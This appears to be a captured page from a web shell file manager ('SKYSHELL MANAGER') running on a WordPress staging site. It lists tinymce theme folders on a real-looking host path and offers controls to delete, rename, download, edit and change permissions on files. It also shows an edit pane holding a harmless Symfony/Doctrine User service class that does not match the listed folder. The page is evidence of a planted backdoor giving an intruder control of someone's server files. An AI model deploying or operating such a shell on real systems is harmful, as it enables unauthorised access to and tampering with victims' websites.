📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: User.php
<?php namespace App\Service; use App\Exception\UserException; use App\Repository\UserRepository; use Doctrine\ORM\EntityManagerInterface; use Doctrine\ORM\Exception\NotSupported; class User { public function __construct( private readonly EntityManagerInterface $entityManager, private readonly UserRepository $userRepository, ) { } /** * @param string $ncLogin * @param int $expectedStatus * * @return void * @throws UserException * @throws \Doctrine\ORM\Exception\ORMException * @throws \Doctrine\ORM\OptimisticLockException */ public function setAutoRedirect(string $ncLogin, string $userName, int $expectedStatus): void { try { $userEntity = $this->userRepository->findOneBy(['ncLogin' => $ncLogin, 'name' => $userName]); } catch (NotSupported $e) { throw new UserException('UserRepository not found'); } if (!$userEntity) { throw new UserException('User not found'); } $userEntity->setAutoRedirect($expectedStatus); $this->entityManager->flush(); } }
Save